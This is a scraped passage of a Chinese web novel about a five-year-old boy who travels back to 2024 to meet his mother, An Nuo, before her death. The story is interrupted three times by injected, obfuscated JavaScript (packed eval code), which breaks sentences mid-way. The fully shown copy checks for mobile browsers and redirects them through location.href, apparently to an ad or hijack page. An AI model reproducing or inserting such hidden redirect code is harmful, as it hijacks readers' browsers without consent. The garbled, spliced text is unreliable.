这半个小时里,诺宝理清楚了很多东西,结合朱玲嫣说的那句“当年就不该听傅婷瑶的话就该把这小兔崽一块解决了”的话,他知道,安诺的去世与朱玲嫣和傅婷瑶有关。 而傅凌霄,也有责任。 是爸比没有保护好妈咪。 他根本不不在意妈咪的安危。 如果爸比足够爱妈咪,他就应该一直陪在妈咪身边,守着她,爱护她。 难怪呢,难怪这家里连妈咪的一张照片都没有。 诺宝环视周围,洁净整齐的书房,光线明暗地交叠着,没有一丝温暖。 第一次,他对自己的父亲有了怨言。 怨言过后,便是异于往常的机智冷静。 他不想错过这次难得的机会。 趁傅凌霄不在家,他得把能查到的东西全部查出来。 利用微信账号上面显示的12个数字,诺宝知道了安诺以前的手机号,再利用手机号码,他找到了安诺的抖音账号。 抖音和微信账号一样,没有被注销,甚至还有人更新动态。 想来,这应该是外公外婆纪念妈咪的一种方式。 妈咪的爸爸妈妈,那就是他的外公外婆。 诺宝如是认为的。 互联网上,一切动态都留有痕迹。 顺着网线,诺宝翻看完了安诺在社交媒体的所有动态消息,把安诺的家庭背景扒了个底朝天。 安诺,海定大学行政管理1班,大学在读。 家住北阳市**小区。 父亲安和桥,一家中型生鲜超市老板。 父亲黎玫,北阳中学初中语文教师,兼职初中部教导主任。 此外,诺宝还知道自己的妈咪不仅长得漂亮,性格也很活泼可爱。 可惜这么一个如花般灿烂美丽的女孩,22岁便早早地离开了这个人世。 也许是来自亲情的召唤,诺宝捧着手机,眼眶红红地看着抖音里面妈咪和自己的爸爸妈妈一起开开心心过中秋的视频。 渐渐的,心里也生出了别样的期许。 他想去妈妈的家里,看一看妈妈生活的地方,还想看看自己未曾谋面的外公外婆。 视频里面,外公外婆那么和蔼可亲,那么温暖,好想和他们一起吃晚饭然后听他们讲妈咪调皮的小时候。 视频结束的一刻,小家伙真的来了斗志,笔记本电脑一合,一溜烟便跑到保险柜前输密码掳走了里面的银行卡。 最后离开书房时,还把傅凌霄不常带身上的备用手机也一并掳走了。 其实手机绑定了银行卡,里面的钱根本用不完。 但诺宝偏要掏黑卡给打印店老板看。 不为别的,就想炫耀一下。 谁让那老板一开始不搭理他呢。 -- 打印店里,老板坐在电脑面前已经开始好好干活了。 小家伙守在旁边死死地盯着人家,嘱咐道: “老板,你把我妈咪修好看一点哦。” 这已经是他的第四遍叮嘱了。 老板感觉自己本就秃顶的脑袋此时此刻更秃了些。 “待会儿我要把照片裁成爱心形状,然后放进我的项链里的。所以老板你要帮我打印漂亮一点,还有,一定要像素清晰,这个是最重要的。” 叨叨叨叨,像个小和尚念经一样。 老板实在忍不住了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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紧跟着天空乌云密布,狂风骤起,大雨跟着倾盆而下。 诺宝惊魂未定地站在原地,反应不过来了。 大雨里,汽车飞速驶过,惊起阵阵刺耳的鸣笛声,路人叫着喊着一路飞奔。 “快点,跑快点。” “诶,出租车,出租车!” “完了,我阳台上的衣服还没收呢!” …… 世界变得异常嘈杂。 诺宝孤零零地站在大雨里,雨水太冷了,冷得他不自觉地浑身直哆嗦。 也正是沁人的雨水,换回了一点诺宝的思绪。 得赶紧找个地方躲雨。 如是想着,小家伙捣腾着小短腿,一下朝前面奔跑的大人们跟去。 此时的雨帘里,一个女人却走在马路中间,明明对面的路灯还红着。汽车一辆接着一辆地从她面前穿梭而过。 待诺宝发现那女人时,小家伙有些疑惑的慢慢停下了脚步。 那些车子好像根本看不见她似的。 试探性的,诺宝滴溜转动着眼珠子环看周围的世界。路山的行人们似乎也丝毫没注意到马路中央的女人。 不知道是他们忙着躲雨无心理睬,还是真的没有看见。 马路中间,女人挺着大肚子,一只手扶着腰,一只手捂在肚子上。她大约是病了,每一步都走得很艰难。 诺宝不自觉地挪动小小的脚步。 他想过去帮帮她。 但一辆汽车从他面前飞快驶过,溅起1米多高的水花,把一个身高刚好1米多点的5岁小朋友从头到脚浇了个遍。 甚至那车子离他仅仅半臂距离,差一点就能将人撞飞在地。 这不禁让诺宝打起了退堂鼓来。 他胆怯地后退好几步。 可马路上的女人还在拼命地走着,每一步还是那么的吃力与痛苦。 终于,她顶不住了,整个人摔在了地上,□□,赤红色的鲜血流了出来。 诺宝瞪大眼睛,彻底被吓住了。 再后来,天空忽然又变了颜色。夜幕降临,路灯骤起,周围林立的高楼大厦灯光透亮。 诺宝愣愣地看着眼前的所有,忽然之间,他想到了什么。 2015年6月1日,晚上22:20 “傅凌霄,你在哪里?救救我的宝宝。” “快救救我的宝宝,我快撑不住了。” 一瞬间,诺宝的眼眶红了。 有个声音在告诉他,“妈咪”,那是他的“妈咪”。 疯了似的,一个5岁的宝宝不顾满街狂奔的车子奋力冲了过去。 跑到女人身边的一刻,宝宝蹲下身子,用自己小小的身体抱住了女人。 而后…… 锐利的鸣笛声冲破云霄,雨声“簌簌”的,路人的尖叫声也一阵高过一阵。 “啊!” “完了完了,出车祸了。” “快,快打110。” 5. 第5章 疼,好疼啊。 身体仿佛被一辆大卡车压过似的,密密麻麻的疼着。四肢五骸更是不属于自己一样,任凭诺宝怎么使劲都动弹不得。 “小朋友?小朋友?” “别睡了,快醒醒。” 耳边一直有个声音在呼唤他,很模糊,也很沙哑。 像是一位年迈的老爷爷在喊他,诺宝并不知道这人是谁,也不想知道。眼下,他最担心的是另外一件事情。 “妈咪!” 一道焦急的尖叫声,诺宝腾的一下从石凳上坐起来,神色慌张。 他最担心的还是他的妈咪——安诺。 可惜眼前出现在他面前的人不是安诺,而是一个白发苍苍的老爷爷。 甚至还是上次那个在下雨天的街头一意孤行想闯红灯的老爷爷。 和第一次见面时一样。老爷爷不仅头发是白的,胡子也白了,背有些佝偻,手里一如既往的拿着一根藤木拐杖。 诺宝自认自己绝不会胡乱认错人。 渐渐的,他的眼神从找安诺的着急神色一点一点地变成了警惕与防备之意。 “你为什么在这里?”小家伙质问道。 记得第一次见面时,老爷爷就神出鬼没的。突然出现,又突然消失在街道中央。 这给诺宝带来了极其不好的印象,觉得老爷爷是坏人。 所以问话时,他也一直直勾勾地盯着老爷爷瞧看打量。 老爷爷回他话,他便在心底开始各种猜测。 老爷爷:“啊!我为什么在这里?我还想问你呢,你个小布点不在家好好待着,为什么要一个人偷跑到这公园来睡觉?” 诺宝宝:这人一定没安好心,说不定是个专抓小孩的拐卖犯。 老爷爷:“嘿,你个小鬼头,别一直盯着爷爷看啊,你倒是说句话啊?” 诺宝:不对,如果他真是人贩子,那他为什么不直接把我抓走呢?还有,我明明记得…… “嘶。” 脑袋忽然疼了一下。 我明明记得有车子开向我,然后周围一群人在尖叫“出车祸”了呀?可现在… 为什么我会在这里呢? 此时诺宝的周围,左边一堆老奶奶老爷爷正在打太极拳,播放的音乐缓慢悠扬,右边还是一堆老奶奶和老爷爷在跳舞,比起太极拳的爷爷奶奶们他们的动作灵活矫健多了,只是播放的音乐“动次打次”的,聒噪得很。 前面…? 小家伙圆溜溜的眼珠转向正前方。 前面依旧是哪个奇奇怪怪的白发老爷爷。 后者佝偻着背,嘴里对着诺宝仍旧继续絮絮叨叨着。 但是看诺宝的眼神满目慈祥。 “哦我知道了,小鬼你是和家里人吵架了吧,然后闹脾气离家出走了对不对?” “行吧,你把你妈妈电话告诉爷爷,爷爷打电话帮你和妈妈说好话行不行?” 诺宝根本没在听,心里继续着:为什么我会在这里呢? 而且…… 他低头仔细打量了一下自己。 此时此刻,他正坐在公园的一张石头长凳上。四肢健全,身上无半点受伤的痕迹。 可是… 怎么会这样呢? 他不是冲到了马路中央出车祸了吗? 难不成,他像火影忍者一样会遁地术,能瞬间移动,又或者说…… 神情害怕的,诺宝挪动眼珠子,再一次细细瞧看面前的老爷爷。 老爷爷的眉毛白白的,长长的,脸颊瘦骨嶙峋,鼻子却异常的肥大,没什么血色的嘴唇上面白色胡须飘啊飘。 那模样越看越觉得诡异。 不受控制的,诺宝身子缩成一团。 下一秒,“啊,鬼啊!!!” 尖叫着,人撒腿跑了。 老爷爷:“诶小朋友,你别跑啊!” “你知道回家的路吗?” “知道知道。”诺宝特敷衍地回答道,然后一双小短腿捣腾得更快了。 …… “穿越”这种事情,诺宝只在电视里看到过。 所以至始至终,他从没往那方面想过。 此时宝宝想不明白的是,他明明只活了5年,在这5年时光里,他也没干什么坏事,怎么最后会被打到十八城地狱来呢。 这便是他冥思苦想半天思索出来的结果。 他死了,出车祸死的。 而那老爷爷是鬼,眼前的世界是十八层地狱。 因为只有地狱里才有鬼。 清幽的竹林里。 小家伙靠着一棵大楠竹,站了好久好久才迫不得已地接受了这个“事实”。 “哎……” 诺宝长叹一声,无奈至极。这时不争气的肚子也跟着“咕噜咕噜”的叫了起来。 好饿啊。 小家伙捂了捂自己的肚子。 瘪瘪的,和往日的圆润胖乎完全不可比拟。 毫无办法的,小家伙只能就地四处看看,最后食物没找着,找到一个小房子。 位于左前方几米处。 那小房子不大不小,刚好够一个狗狗居住。 不出意外的话,那就是一个狗窝。 狗狗干坏事也会下地狱吗? 诺宝挠了挠头,再三犹豫后,他走到“了狗别墅”面前。 眼看周围没有狗狗的身影,他弯腰自己钻了进去。 虽然现在他是一只鬼,但是做鬼也是要有个家的:) 现在,这个“狗窝”就是他的家了:) …… 此后的一个上午,诺宝都待在狗窝里。 对于自己的新“家”,小家伙还挺心满意足的。 “新房”墙壁很干净,就是地面有点潮湿,中午太阳出来时,诺宝出门找了些枯树枯叶铺上去。 如此一来,晚上他便可以美美的睡个好觉了,要是能从哪里再薅一件外套当被子,那更是美事一桩。 正想着,小房子方面忽然传出一道“窸窸窣窣”的脚步声音。 诺宝不得不中断自己的美好幻想,他好奇地探出脑袋看,下一秒… “啊——” 尖叫着,诺宝一下窜出去了好几米远。 因为“房子”外面立着的是一只比他还高大的狗狗。 那狗狗一点也不怕他,小眼睛以居高临下的姿态睥睨诺宝,嘴巴里悠闲地吐着舌头。 眼看着诺宝被吓跑,它象征性地“汪汪”了两声,然后慢条斯理的十分优雅地钻进了自己的房子。 这边。 诺宝气喘吁吁地站在一处小池塘旁边。 刚才跑太快,他的气息还没喘匀。 等喘匀时,远远的,小家伙十分不舍的看了好几眼自己仅仅住了一个上午的“小房子”。 现在房子已经成功的物归原主,而他真成成了无家可归的孤魂野鬼。 …… 下午,诺宝在池塘边的小亭子里落了脚。 至此,他已经约莫五六个小时没进食了,加上6月的海城过了正午依旧烈日当头,空气闷热得厉害。 诺宝奄奄一息地坐在亭子这头,前方几米远处还有一个稍大一点的亭子,红砖璃瓦,古色古香。 里面还有两个老爷爷,一个拿着蒲扇在扇风乘凉,一个拿着收音机,好像在听广播。 而亭子下面,池水清澈,水波荡漾,其间还有红黄色相间的锦鲤四处游荡。 风景美得如梦如幻。 诺宝孤零零一个人坐在小亭子里,小脸惨白,快饿晕厥了。 至此,他还是没怀疑过周围的一切,依旧觉得自己是个小鬼头。 直到一声高亢的欢呼声响起。 “太棒了,潘展乐夺冠了!” 这一刻,虚脱感戛然而止,诺宝疑惑地抬头看过去。 是那个听收音机的老爷爷,此时手里拿着收音机,整个人早已经兴奋地从凳子上站了起来。 “太厉害了,真的太厉害了。这可是100米自由泳金牌啊!” “能进100米自由泳决赛都不错了,这小伙子竟然直接夺金了!” 老爷爷还在兴头上,手舞足蹈地给旁边的爷爷分享自己听到的喜讯之余,还不忘冲小亭子这边的一诺嚎一嗓子,“小朋友,有个叫潘展乐的哥哥在巴黎奥运会上夺冠了!” 一诺懵懵地听着。 潘展乐他是认识的,“中国飞鱼”,无人不知无人不晓。 只是今年怎么会是巴黎奥运会呢? 没记错的话,两年前才举办过美国洛杉矶奥运会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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毕竟这这件事情太过诡异了。 越想越觉得害怕。 一时激动,诺宝直接起身朝大亭子那边跑了去。 两位爷爷也被问得挺懵的。 “今年就是…就是有巴黎奥运会呀。”收音机爷爷最先开口回答,眼看着诺宝跑过来时眼眶红红的,老爷爷还以为自己说错什么话了,不由得声音越说越小声。 诺宝:“那,那洛杉矶奥运会什么时候举办?” 话音落下时,两行惹人怜的眼泪珠子也落了下来。 老爷爷们没回答,满脸心痛的先把诺宝拉近些。 蒲扇爷爷一边给他扇风一边关心地问:“哦哟小朋友,你这是咋啦?” 收音机爷爷也放心不下地追问:“对啊,咋突然就哭了?” “是不是有人欺负你啦?” 诺宝用力地摇头,眼眶包着泪水回答:“两位爷爷,你们就告诉我洛杉矶奥运会什么时候举办就行了。” 两位爷爷神色一愣,估计想破脑袋也想不出来这个问题和诺宝哭有什么关联,但不想看面前的小家伙继续难过下去,蒲扇爷爷回他话:“2028年,在美国举办。” 听完,“哇”的一声,诺宝哭得更大声了。 两位爷爷紧张地你看看我我看看你,最后目光锁定在诺宝身上,慌张地不知如何是好。 这时诺宝又问道:“所以今年是2024年对不对?” 两位爷爷小心又犹豫地点头,意思是对的,今年确实2024年。 一瞬间,一诺感觉天都塌了,刚好这时一道新鲜的声音突然插了进来。 “小家伙,你怎么还没回家啊?”有人问他。 诺宝回头看,是早上那个白胡子爷爷。 眼下,诺宝没没心情回答老爷爷的问题,更没心情了解白胡须老爷爷为什么又突然出现在他面前。 此时此刻,他只关心一件事情。 “白胡子爷爷,您告诉我,今年真的是2024年吗?”他不死心地追问。 白胡子爷爷并不知道刚才发生了什么,想都没想的点头道:“对呀,今年是2024年啊。” 还不忘调侃一句,“你个小淘气鬼,一看就不爱学习,竟然连今年是哪一年都不知道。” 听完所有,这回诺宝没哭,而是屁股往地上一坐。 如同林黛玉一般柔弱可怜。 6. 第6章 亭子里,三位老爷爷围着诺宝一顿关心,你一句我一句的,诺宝却一句也没听进去。 小家伙坐在石凳上,45°仰望天空。 抑郁了。 “哎哟不行啊,这小家伙看着好像是病了。” 老爷爷们并不打算弃诺宝而去,继续在旁边看守着。 “是啊,可能是中暑了,赶紧送医院去看看吧。”白胡子老爷爷接话。 但收音机爷爷有了不同意见:“不对,生病这种事情要先通知他的父母才行。” 说完扭头问诺宝,“小朋友,你爸爸妈妈的电话号码是多少呀?爷爷帮你把他们找来好不好?” 一听“妈妈”,诺宝瞬间惊醒过来,眼睛骤然一亮。 他自动过滤掉了“爸爸”这个词眼。 几位老爷爷吓死了。 “怎…怎么了?是哪里又不舒服了吗?”收音机爷爷有些无措地发问。 诺宝没回答这个问题,而是麻利地报数道:“183……” 因为他想通了,对啊,现在是2024年,这个时候他的妈咪还活着! 这意思是,他可以见到他的妈咪了! “这是我妈咪的电话号码。”说完最后一个数字时,诺宝补充道。 他天生具有过目不忘的本领,尤其是对数字。 安诺的微信账号里有电话号码,当时诺宝在傅凌霄的书房里面看一次就记住了。 既然现在是2024年,那电话就一定能打通。 诺宝很确信这一点。 另外,他更知道的是如果现在贸然打电话过去,安诺是肯定不会过来接他的。 毕竟在安诺的世界里,她今年才20岁,怎么可能会有一个5岁大的宝宝。 “爷爷,你给我妈咪打电话的时候可不可以装成警察呀?”小家伙特意耍小聪明地请求道。 “啊!?”三个爷爷都惊讶住了。 这警察哪能随便冒充呀?况且给自己家里人打电话干嘛要假装成警察? 看出了爷爷们的疑虑,诺宝嘴巴一瘪,哭唧唧的模样委屈极了。 “都怪我,怪我以前总是调皮捣蛋地打电话捉弄我妈咪,现在好了,闹得我妈咪都不爱搭理我的电话了。” 老爷爷们心地善里,压根没想到一个5岁大的孩子心眼子这么多,再看看面前的小家伙,葡萄一样的眼睛漆黑又透亮,看着天真极了。 此时此刻,乌黑的眼睛里还满是眼泪花子,眼眶红红的,鼻子也红红的,嘴巴还瘪成一条直线。 就这小模样,让人看了好不可怜。 “好好好,都依你,都依你。”白胡子爷爷最先败下阵来。 其他两个爷爷暂时没发话,诺宝扭头就看过去,蕴着水雾的眼睛对着人眨啊眨的,卷曲的眼睫还齐刷刷地上下扑扇好几下。 收音机爷爷长叹一口气,没辙了,只好放话道:“我没有意见。” 还差最后一个爷爷,诺宝下巴一仰,故技重施地冲人使劲地眨动眼睛。蒲扇爷爷哪里受得了这个,心里那点准则和规矩一下飞九霄云外去了。 最后诺宝指任收音机爷爷给他妈咪打电话。 收音机爷爷大概是广播听多了,说话一股子播音腔,声线浑厚沉着,非常符合正义禀然的警察叔叔形象。 就这么的,三个老爷爷哪敢有什么反对意见啊。 通通拿诺宝一点办法都没有。 他说啥就是啥。 只是没想到的是,电话刚打出去几秒“嘟”的一声,对面直接把手机给挂断了。 …… 天空这头,安诺盯着被自己挂断的手机电话,脑袋嗡嗡的,耳梢里重回响着那个年迈且正经严肃的声音。 “您好安诺小姐,这里是高新西区公安局总局,有个叫傅一诺的宝宝正等候在我区公安处,请您及时过来认领一下。” 回想完,安诺忽地轻扯唇稍,“呵。” 太荒唐了。 这年头,诈骗电话都这么…这么笨的吗? 因为觉得荒唐,所以她刚才不由分说地直接挂断了电话。 现在仔细想想,还是觉得好笑至极。 她的笑声很浅,路人走过时疑惑地看了她一眼,而后纷纷加快步伐离开。 对此安诺只是无所谓地撇了撇嘴角,因为眼下还有更糟心的事情等着她处理。 她把手机放回胯包里,一扭头,迎上一双幽黑的眼眸。 那眼睛,既像夏夜里漆黑高阔的夜空,又像阴雨天里深不见底的百尺静湖。 被这样一双黑眸凝视着,安诺整个后背都凉了几分。 她悄悄地咽了咽口水,只有她自己知道她费了多大力气才敢往前大跨一步,靠近傅凌霄。 余光往下,再看一眼傅凌霄的车子,车玻璃上绿油油的豆沙还没干,汤汁淅淅沥沥地往地下滴着,像极了窜稀的…… 粑粑。 咦~ 安诺两眼一闭。 没眼看,简直没眼看。 “对不起啊。” 磨蹭了这么久,她终于说出一句道歉的话道。 平时邦邦硬的身子,此刻45°向下勾着,高贵的头颅也跟着往下低了低。 看着恭敬极了。 鞠躬完,人一抬头脸上就是一副赔罪的笑脸,唇梢微微向外咧着。 就是看着有几分生硬。 与此同时,女孩在心里一阵祈祷: 拜托拜托,看在我如此“诚心诚意”道歉的份上,让我少赔点吧,我真的是一穷二白的穷苦大学生啊t.t 她过完9月才大四,每个月还得靠父母的接济款紧巴巴地过日子。 本来想说暑假两个月找份实习工作的,现在看来,实习工作也打水漂了。 想着想着,安诺把脸上的笑脸挤得更加得难为情了些。 车子里面,男人神色淡淡地看着她,脸上没什么多余的情绪。 就这么看着,充满审视,看得安诺毛骨悚然,正当她想张嘴打破寂静时,傅凌霄淡漠地开口了。 “你不适合道歉。”他说。 安诺:?? 脸色疑惑。 傅凌霄话没说话,薄唇轻启,冷声补充道:“笑得太假了。” 安诺:“…!!!” 整个石化。 没等安诺为自己辩解什么,傅凌霄平静地丢下一句:“车子的事情会有人和你联系。” 说完,他示意前面的司机:“没时间了,出发吧。” 而后车子冷酷无情地扬长而去,余下安诺站在冷风中,闻了一鼻子的汽车尾气。 1秒,2秒,3秒。 安诺脑袋宕机了足足3秒,反应过来时: “不是,就不能……” 后面的她没说完,她想说的是就不能听她多说两句话吗? 可惜现在傅凌霄已经不在她跟前了,所以多说也无用。 最后怒火中烧的20岁少女对着空气就是一顿敲打脚踢,附加一句: “真没礼貌”。 骂的自然是傅凌霄。而回应她的自然也只有“呜呼”的几声冷风声。 此时傅凌霄的车子已经跑出去了几十米远。 安诺死死地瞅着那抹逐渐变小的汽车屁股,心里一阵烦闷。 亏她还准备了一肚子赞美傅凌霄的话术,本来还想着多说点好话让傅凌霄消消气的,这样兴许自己能少赔点。 现在好了,一句都没派上用场。 “啧啧啧,果然是霸总,真是惜字如金呢。”她不禁气说道。 从始至终傅凌霄只对她说了短短三句话,之后压根不给她插嘴的机会便跑了。 说起来,傅凌霄甚至没告诉安诺任何联系方式,更没让安诺留下她的电话号码什么的。 人就直接甩出一句“有人会联系你”,看得出来,他自有他的方法找到安诺。 “不愧是霸总,就是这么的霸道,就是这么的与众不同。” 女孩最后慨叹道。 讽刺人的。 …… 知道安诺今天在傅氏集团面试过,所以傅凌霄想让助理找到她并不是什么难事情,甚至可以用“轻而易举”来形容。 十分钟后,真有人联系安诺。 是一个陌生的电话号码,安诺以为是傅凌霄的人打来的,深怕耽误赔偿的事情,她一下接通了电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183746|165416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然而电话那头传来的还是那套老掉牙的说辞。 “您好安诺小姐,这里是高新西区公安局总局,有个叫傅一诺的宝宝正等候在我区公安处,请您及时过来认领一下。” 安诺:“……” 现在的诈骗电话都不知道升级一下话术的吗? 最后没说一句话,她十分熟练地挂断了电话。 刚挂完,又一个电话打来了,没仔细看电话号码是什么,毕竟都是没备注的陌生号码。 安诺忍不住了,这回接通电话道: “叔叔,我真的没有孩子,你还是放弃吧,行吗?” 说完,她火冒三丈高地又准备挂电话,但电话里面发来一道异常清冽且冷酷的声音。 而且是个女人声音,那气势听着和之前的诈骗电话完全不一样。 还好安诺反应迅速,她当即中断了准备挂电话的动作,重新把手机放回耳边试探地问询道: “您好,请问您是?” 闻声,电话里人没有多余的废话,直截了当地回答她: “我是傅总的助理,车窗玻璃的维修报告出来了,大概需要1万2,安诺小姐,请您有时间及时把维修费用打过来,一会儿我会以手机短信的形式给您发送一个账号,您把钱打在这个账号上面就行了。” “如果您不放心线上交易的话,您也可以亲自到公司来把维修费用交到财务处,财务会负责将资金划到傅总名下。” “另外您今天到我司面试过,所以我就不再次给你发送公司地址了。” 噼里啪啦一堆话,没有停顿更没有卡壳,语气还冰冷冷的。 安诺愣愣地听着一度以为是机器人在说话。 听完所有,她承认这位女助理的办事能力十分优秀,言辞精准,不拖泥带水,沟通讲究“效率”两个字,但是安诺还是想吐槽一句: 不愧是傅凌霄的助理,一样的冷,一样的没有人情味。 吐槽着,安诺觉得空气都凉飕了几分。 她抖了抖肩膀,咦…好冷好冷。 等再一想到赔偿金竟然高达1.2万,忽的一下,安诺觉得自己不仅肩头发冷,心也跟着凉了。 “姐姐,就修一块车窗玻璃而已,1万2是不是有点……?”她尽量委婉道,话没说完。 女助理也聪明,知道她想表达什么,很快解释说:“凭心而论,我也觉得贵,但那是傅总的车子,所以这个价位的维修费挺合理的。” 虽是解释,但语气仍旧冷冷的,一副公事公办的样子。 立马,安诺两边肩膀泄气地沉了下去。 但人家助理也是职责所在,替人办事而已,算了算了,还是不为难别人了。 “好的,我知道了。”女孩无奈地接受了这个事实。 “三天之内,我会亲自把钱交到公司财务处的。”她说。 正如女助理说的,线上交易有安全隐患,安诺可不想冒这样的风险。 那可是整整1万2,不是1200,更不是1块2。 女助理也没再多说什么,直接应她:“可以,没问题。” 电话结束时,安诺犹如一棵枯萎的小草一样整个人焉耷耷地杵在原地,再被夏日的太阳暴晒一下,整张脸皱得比倭瓜还难看。 昨天她还信誓旦旦地给她老妈发誓她才不回老家的小县城生活,她要利用大三暑假的时间找一个好的实习工作,这样多积累些经验,等正式毕业以后她也好找一份比较稳当一点的工作。 然后再找一个男朋友一起奋斗,不出几年他们就在海城结婚买房,生儿育女,安居乐业。 现在倒好,不仅实习面试没过,自己还背上了1万2的巨额负债。关键是她的荷包空空如也的,看来只能打电话给老爸借点了。 不能向老妈借,要是让她老妈知道了今天的事情,肯定会一直叨叨个不停的,然后借此逼她毕业回县城考编制。 “唉。” 这已经不知道是安诺今天的第几次叹气了。 她一边叹气一边掏手机准备给她老爸打电话。 这时突然一个小男孩蹦出来,从后面抱住她的大腿,脆生生地喊道: “妈咪。” 7. 第7章 “妈咪。” 宝宝叫得有多甜,安诺心尖颤得就有多厉害。 不是被宝宝萌到了,而是被吓到了。 她不自觉地掐了掐手心,等深吸一口气后这才敢回头看。 一看,是个四五岁大小的男孩。 两人四目相对。 安诺:#!?"&" 眼里全是不知所措。 而宝宝却骤然脸色一变。 一开始的兴奋喜悦一下变成了满脸失望。 “原来不是妈咪啊,我还以为是我妈咪呢。”宝宝最先出声道,情绪低落。说着说着直接哭了起来,“呜呜呜…完蛋了,我找不着我妈咪了。” 安诺:“……欸欸欸,不是,那个你?!” 手足无措的。 慌乱之中,值得庆幸的是幸好是宝宝认错人了,要不然安诺今天真要跳河了。 先是做梦梦见宝宝变成蜘蛛缠着她,再是面试遇冷门,紧接着把人车给刮了负债1万2,再然后还被莫名其妙的诈骗组织盯上,不停地骚扰她。 关于诺宝和爷爷们打来的电话,不知情的安诺将其一律定性为诈骗电话。 回想今天发生的种种事情,每一件都是令人奔溃的存在。 “哇哇哇……” 小宝宝的哭泣声还在继续,甚至越来越大声,根本不给安诺任何忧伤感怀的时间,她赶紧安慰道: “宝贝,那个你乖乖的啊,先别哭别哭。” 经验不足的原因,安诺说话有些语无伦次。 “那个,就是,那个宝宝你是不是和爸爸妈妈走丢了呀,你还记得你在哪里找不着爸爸妈妈的吗?” …… 5分钟后,在安诺的耐心安抚下宝宝的情绪终于稳定不少。 “那是一个很大很大的超市,我一直乖乖跟着妈妈的,可是,可是我看到一个好可爱的玩具熊,然后我就走了过去,再然后,然后就找不着妈妈了。” 宝宝乖巧地交代道。又把小胖手往一个方向指去,“喏,就是那个方向。” 听完,安诺头都大了。 那个方向只有一家大型超市,而且是在1公里以外,走路都得走10多分钟,加上眼前的宝宝还那么小,就那双小短腿,估摸得走半个小时才行。 这意味着宝宝也已经和他妈妈走丢半个小时了。 赶紧的,安诺拨打出去了一个报警电话。 安诺一个人的力量十分有限,但有了警察叔叔的帮忙便大不一样了。 “好的,谢谢警察同志。” 挂完电话,安诺牵起宝宝就往1公里外的超市赶。 因为电话里警察也在找宝宝,说其实半个小时前他们便接到了报警电话,说宝宝的妈妈一直在超市附近四处寻找孩子。 下午3点,安诺带着宝宝赶到超市时,一个三十出头的年轻女人直接扑过来一把抱住孩子,然后“哇”地一声哭出来,泪流满面的。 安诺站在旁边,心情有些复杂。既为宝宝能和自己妈妈重聚而感到高兴,又隐隐心疼着,要是宝宝在走丢的路上发生了什么意外这位妈妈该怎么办? 一定会痛苦一辈子吧。 她就是这样一个人,有时候心思明朗,有时候又杞人忧天,感慨万千。 眼前,宝宝和妈妈继续拥抱着。情绪不似刚才那般激动了。 安诺会心地笑了笑,而后偷偷地挪动步子准备离开。 她觉得此时此刻这么温馨的场面就应该让这对重逢的妈妈和宝宝好好享受享受。而她,就做那个“好事不留名”的无名者吧。 然而机灵的小宝宝还是看见了想逃走的她。 “谢谢你美女姐姐。”宝宝忽地小跑过来,拉住安诺的手甜甜地道谢道。连带着他的妈妈也过来向安诺郑重地说了声“谢谢”。 安诺一下脚重如千金,摞不动脚了。 挺难为情的。 “呵呵。”她尴尬地笑了笑,“那个,就小事,小事而已。” “你们继续,继续。我那个有事,先走了哈。” 说着她转身又想开溜。 眼前这种郑重其事的道谢场景不太适合她。 结果宝宝拉住她又来了一句:“美女姐姐,祝你天天开心,早生贵子。” 安诺:“哈!?” 直接听晕乎了,幸好有宝宝妈妈在旁边解释道:“这孩子前两天刚当完花童,新婚祝词背太多了。” “哦,原来是这样啊。”安诺应承道,说话时努力让自己脸含笑意。 只不过笑得有点僵。 因为这两天她十分忌讳“宝宝”和“孩子”这些东西。 后面安诺和宝宝妈妈又多聊了几句。没办法,宝宝妈妈太热情也太真诚了。一直说要请她吃饭以表谢意。 安诺自然是没同意的。 她不想这么麻烦别人。 …… 下午3点半,安诺彻底和宝宝以及宝宝妈妈道别完。 她早上8点出门,这么算下来她已经在外面晃荡了7个小时,而且惹了一堆麻烦。 往公交站走的路上,安诺抬头望了望天,忍不住反问头顶的苍天大老爷: 好了吧,今天应该没什么事情再发生了吧? 细数下面,今天称得上她从小到大最精彩的一天了,也是最倒霉的一天。 偏偏这时电话又响了,真是怕什么来什么。 经历了一大早上的折磨,安诺无语且慢吞吞地从斜挎包里掏出手机,此时她已经对手机铃声免疫了。 看一眼电话号码,不认识。 估计又是诈骗电话,换作其他人早就挂了,安诺偏不信这邪。 “来吧来吧,让暴风雨来得更猛烈些吧。”她自暴自弃地说道,边说边按下了接通键。 等真的接通电话时,暴风雨毫不留情的真的来了。 听到电话里面那道稚嫩的声音时,安诺两眼望天,直觉得宛如晴天霹雳似的,自己那本就塌陷的天空,眼下塌得更厉害了。 电话里,说话的人不再是那个“诈骗警察”,而是一个童稚的娃娃音。 “妈咪,是我。”一个孩子开口喊道。 声音沙沙的,听起来像是要哭了的样子,但是整个人却又极力隐忍着,努力不让自己哭出来。 这是让安诺最痛苦的,觉得天塌的同时,心好像也塌了。 这是从来没有过的感觉。 总觉得那个娃娃真的和自己有什么似的,一听见这个声音她的心就揪着疼。 不知过了多久,安诺艰涩地开口:“我…” 她想说我不是你妈妈,但喉咙里仿佛有一把刀子割裂着她的嗓子眼,任凭她怎么努力都说不出口后面的话。 “妈咪,我来找你了,我终于找到你了。”宝宝的声音低得可怕,哭腔已经十分明显了,但是还是极力控制着。 哽咽着,宝宝小心翼翼地询问:“妈咪,你可以过来见见我吗?” 听完这些,安诺忽然觉得天旋地转的,心口闷得厉害。 那头宝宝在等她的回答,安诺沉默了许久,最后深呼一口气后说: “对不起宝宝,我不是你的妈咪。” 